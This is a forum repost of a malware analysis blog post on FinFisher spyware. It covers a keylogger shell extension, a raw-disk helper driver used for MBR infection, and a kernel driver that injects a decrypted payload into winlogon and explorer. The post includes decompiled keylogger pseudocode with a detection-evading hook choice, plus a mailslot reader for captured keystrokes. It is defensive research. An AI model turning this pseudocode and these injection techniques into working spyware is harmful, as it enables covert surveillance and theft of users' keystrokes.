Jump to content
Nytro

FinFisher Shell Extension and Drivers Analysis

Recommended Posts

Posted

  • Posted on: 14 October 2014
  • By: siteadm

As requested on reddit and twitter, this time I'm going to analyze final pieces of FinFisher malware: shell extension, driverw.sys and mssounddx.sys. No time to waste, so let's begin:

a) Shell Extension (KeyLogger)

As title says, shell extension's main/whole purpose is logging user's keystrokes. As Finfisher malware, never ceased to amaze me, this shell extension amazed me too. This DLL file, basically sets up global hook using SetWindowsHookEx API, records keystrokes of user, as a typical simple keylogger, but with a small difference. This keylogger doesn't hook WH_KEYBOARD or WH_KEYBOARD_LL, it hooks WH_GETMESSAGE, so basic keylogger detection methods won't be able to call it a "keylogger", even static analysis wouldn't show it as a keylogger, because it's hooking windows messages. Anyway, I'll do my best to decompile and write a psuedo code of the DLL file. Before starting, I should mention that DLL compilation date/time is: 10/28/2010 11:57:36 AM which I think is correct and unaltered. Anyway, here is the details of the DLL:

  • Calls CreateEventW API with "Local\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFA0}" as event.

ShellExt_CreateEvent.png

  • Calls LoadString (unicode) two times to load two strings from resources and then it uses them as filename for saving logged keys and window titles. Filenames are: "\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE0}" (FILE1) and "\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE1}" (FILE2)

ShellExt_TwoLoadString.png?

  • Opens both these files at beginning and stores handles globally, so whole DLL will be able to call WriteFile using same handle.
  • Sets up ImmGetCompositionStringA and ImmGetCompositionStringW hooks, these two are exported from imm32.dll.

ShellExt_HookSetup.png

  • Calls SetWindowsHookExW to setup a global hook using WH_GETMESSAGE as hook type.

ShellExt_WinHook.png

  • In the hook handler (callback) function, checks callback type to WM_KEYDOWN and uses WriteFile API to write keystroke details to FILE1.

So psuedo code should be something like this:

void SetupHook()

{

HANDLE eventHandle = CreateEventW(0, 0, 0, L"Local\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFA0}");

if (eventHandle)

{

if ( GetLastError() == 183 )

CloseHandle(eventHandle);

else

{

if ( HookHandle )

{

UnhookWindowsHookEx(HookHandle);

HookHandle = NULL;

glbVar1 = 0;

}

}

}

if ( !LoadStringW(hmod, 0x101, &File1, 260) || !LoadStringW(hmod, 0x102, &File2, 260) )

return 0;

glbHandleFile1 = CreateFileW(&File1, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 0x03, 0, 0);

if ( glbHandleFile1 == (HANDLE)-1 )

{

lstErr = GetLastError();

errmsg = FormatMessageCall(lstErr);

LocalFree((HLOCAL)errmsg);

}

glbHandleFile2 = CreateFileW(&File2, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, 0x03, 0, 0);

if ( glbHandleFile1 == (HANDLE)-1 )

{

lstErr = GetLastError();

errmsg = FormatMessageCall(lstErr);

LocalFree((HLOCAL)errmsg);

}

imm32Handle = LoadLibraryA("imm32.dll");

if ( imm32Handle )

{

fGetCompositionW = GetProcAddress(imm32Handle, "ImmGetCompositionStringW");

ret = HookSetup(fGetCompositionW, (int)GetCompositionWHook, (int)&RealGetCompositionW);

fGetCompositionA = GetProcAddress(imm32Handle, "ImmGetCompositionStringA");

ret = HookSetup(fGetCompositionA, (int)GetCompositionAHook, (int)&RealGetCompositionA);

}

glbHHook = SetWindowsHookExW(WH_GETMESSAGE, (HOOKPROC)HookCallback, hmod, 0);

}

LRESULT CALLBACK HookCallback(int code,WPARAM wParam,LPARAM lParam)

{

LPMSG lpMsg = (LPMSG) lParam;

if (!code && wParam == 1 && lpMsg->message == WM_KEYDOWN)

{

memset(&Dst, 0, 0x434);

GetKeyboardLayoutNameA(&pwszKLID);

HWND TheHWND = lpMsg->hwnd;

HWND pHWND = TheHWND;

curProcID = GetCurrentProcessId();

GetWindowThreadProcessId(TheHWND, &dwProcessId);

hWnd = v6;

while ( curProcID == dwProcessId )

{

pHWND = TheHWND;

pHWND = GetParent(pHWND);

if ( !pHWND ) break;

GetWindowThreadProcessId(pHWND, &dwProcessId);

}

memset(&wndTitle, 0, 0x208);

GetWindowTextW(pHWND, &wndTitle, 259)

WriteFile(File1, &Dst, 0x434u, &NumberOfBytesWritten, (LPOVERLAPPED)v7);

return CallNextHookEx(hHook, code, wParam, lParam);

}

So, using Microsoft's sample code, I wrote a code to listen for both Slots, here is the code:

#include <windows.h>

#include <tchar.h>

#include <stdio.h>

#include <strsafe.h>

HANDLE TheSlot1;

HANDLE TheSlot2;

LPTSTR SlotName = TEXT("\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE0}");

LPTSTR SlotName2 = TEXT("\\\\.\\mailslot\\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFE1}");

BOOL ReadSlot(HANDLE hSlot)

{

DWORD cbMessage, cMessage, cbRead;

BOOL fResult;

LPTSTR lpszBuffer;

TCHAR achID[80];

DWORD cAllMessages;

HANDLE hEvent;

OVERLAPPED ov;

cbMessage = cMessage = cbRead = 0;

hEvent = CreateEvent(NULL, FALSE, FALSE, TEXT("ExampleSlot"));

if( NULL == hEvent )

return FALSE;

ov.Offset = 0;

ov.OffsetHigh = 0;

ov.hEvent = hEvent;

fResult = GetMailslotInfo( hSlot, // mailslot handle

(LPDWORD) NULL, // no maximum message size

&cbMessage, // size of next message

&cMessage, // number of messages

(LPDWORD) NULL); // no read time-out

if (!fResult)

{

printf("GetMailslotInfo failed with %d.\n", GetLastError());

return FALSE;

}

if (cbMessage == MAILSLOT_NO_MESSAGE)

return TRUE;

cAllMessages = cMessage;

while (cMessage != 0) // retrieve all messages

{

// Create a message-number string.

StringCchPrintf((LPTSTR) achID,

80,

TEXT("\nMessage #%d of %d\n"),

cAllMessages - cMessage + 1,

cAllMessages);

// Allocate memory for the message.

lpszBuffer = (LPTSTR) GlobalAlloc(GPTR,

lstrlen((LPTSTR) achID)*sizeof(TCHAR) + cbMessage);

if( NULL == lpszBuffer )

return FALSE;

lpszBuffer[0] = '\0';

fResult = ReadFile(hSlot,

lpszBuffer,

cbMessage,

&cbRead,

&ov);

if (!fResult)

{

printf("ReadFile failed with %d.\n", GetLastError());

GlobalFree((HGLOBAL) lpszBuffer);

return FALSE;

}

// Concatenate the message and the message-number string.

StringCbCat(lpszBuffer,

lstrlen((LPTSTR) achID)*sizeof(TCHAR)+cbMessage,

(LPTSTR) achID);

// Display the message.

_tprintf(TEXT("Contents of the mailslot: %s\n"), lpszBuffer);

GlobalFree((HGLOBAL) lpszBuffer);

fResult = GetMailslotInfo(hSlot, // mailslot handle

(LPDWORD) NULL, // no maximum message size

&cbMessage, // size of next message

&cMessage, // number of messages

(LPDWORD) NULL); // no read time-out

if (!fResult)

{

printf("GetMailslotInfo failed (%d)\n", GetLastError());

return FALSE;

}

}

CloseHandle(hEvent);

return TRUE;

}

BOOL WINAPI MakeSlot(LPTSTR lpszSlotName)

{

TheSlot1 = CreateMailslot(lpszSlotName,

0, // no maximum message size

MAILSLOT_WAIT_FOREVER, // no time-out for operations

(LPSECURITY_ATTRIBUTES) NULL); // default security

if (TheSlot1 == INVALID_HANDLE_VALUE)

{

printf("CreateMailslot failed with %d\n", GetLastError());

return FALSE;

}

return TRUE;

}

BOOL WINAPI MakeSlot2(LPTSTR lpszSlotName)

{

TheSlot2 = CreateMailslot(lpszSlotName,

0, // no maximum message size

MAILSLOT_WAIT_FOREVER, // no time-out for operations

(LPSECURITY_ATTRIBUTES) NULL); // default security

if (TheSlot2 == INVALID_HANDLE_VALUE)

{

printf("CreateMailslot failed with %d\n", GetLastError());

return FALSE;

}

return TRUE;

}

void main()

{

MakeSlot(SlotName);

MakeSlot2(SlotName2);

while(TRUE)

{

ReadSlot(TheSlot1);

ReadSlot(TheSlot2);

Sleep(1000);

}

}

Here is result while Finfisher keylogger was running:

MailSlot.png

B) Driverw.sys

I'll keep this one short as actual work of this driver is almost nothing. During MBR infection, user-mode code tries to access \\.\PhysicalDrive0, if it was able open physical drive successfully, it won't bother with driverw at all. If user-mode code wasn't able to access physical drive, it will load driverw.sys, call it from user mode to first open the physical drive, then it calls driver several times again to read and write to physical drive. So I think maybe they called it driverw, because it's a helper driver for Writing MBR code.

DriverW_Funcs.png

As you can see it defines two functions only, one function which I renamed to FuncDiskAccess (actual main function, which access disk etc.) and UnloadDriver.

PhysicalDriveZwOpen.png

Then driver calls ObReferenceObjectByHandle to get device object pointer. Consequently it calls IoGetAttachedDeviceReference to get DeviceObject itself.

GetDeviceObject.png

Now having device object, it can directly call IRPs of this object driver. So it will have direct access to whole PhysicalDrive0 without any check or access control. As last step it uses not documented or "not-well-documented" IofCallDriver function to read/write to disk.

IofCallDriver.png

c) mssounddx.sys

We actually talked about this driver in previous post during MBR analysis. But here I'll analyze it a little deeper. This driver is basically process injector, it waits for winlogon.exe and explorer.exe to run, then it allocates memory in them, decrypts malware payload using same XOR algorithm and finally calls NtCreateThread function. Here is breakdown:

Driver entry:

mssounddx_DriverEntry.png

As you can see it simply call a function which I renamed to InitAndCreateThread. This function checks for registry mssounddx entry, if it exists, it creates a system thread:

mssounddx_CreateThread.png

As you can see in the picture above, thread function is StartRoutine. This is what StartRoutine looks like:

mssounddx_StartRoutine.png

This is driver's start routine. As you can see first, it reads SSDT (KeServiceDescriptorTable), then it calls a function which I renamed to LocateNtCreateThread. This function basically locates NtCreateThread in SSDT. See:

LocateNtCreateThread.png

Using these xor and sub instructions, it allocates and pushes 2 strings into stack, ntdll.dll and NtCreateThread. After pushing strings into stack, it calls ResolveAPI which allocates a pool with 0x11223344 tag, then calls ZwQuerySystemInformation with SystemProcessInformation (0x0B) class. Then first it loops through modules to find ntdll.dll, afterwards, it loops through ntdll.dll functions to locate NtCreateThread function. In the end, it calls ExFreePoolTag to unallocate 0x11223344 pool.

Back to StartRoutine, you'll see there is a call to a function which I renamed to InjectToProcess. This function is the whole purpose of driver. This function, waits for winlogon.exe and explorer.exe to run, until then, it keeps calling KeDelayExecutionThread (2 second delay). See:

LocateExplorerLoop.png

Then there is unnecessary code here, actually I don't think it's possible to have explorer.exe running without winlogon.exe already running. but I think programmers just copy/pasted the code for loop for winlogon.exe, which is unnecessary. See:

LocateWinlogon.png

When it finds WinLogon.exe, it opens the process using ZwOpenProcess, then it allocates memory several times in it:

mssounddx_OpenAndAllocate.png

Next it finds offset of DLL to inject and decrypts it using same XOR algorithm:

mssounddx_FindAndDecryptDLL.png

XOR algorithm which is same in all Finfisher malware modules:

mssounddx_XOR.png

In the end, it calls dynamically found NtCreateThread, frees the allocated memory pages used in kernel, call PsTerminateSystemThread to terminate it's own thread.

mssounddx_CallNTCreateThread.png

That's it. I hope you enjoyed whole Finfisher malware analysis articles. Feel free to comment or send an email about your questions.

Also I want to thank everyone who helped to spread the word by retweeting, I really appreciate it.

Sursa: https://www.codeandsec.net/FinFisher-Shell-Extension-and-Drivers-Analysis

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...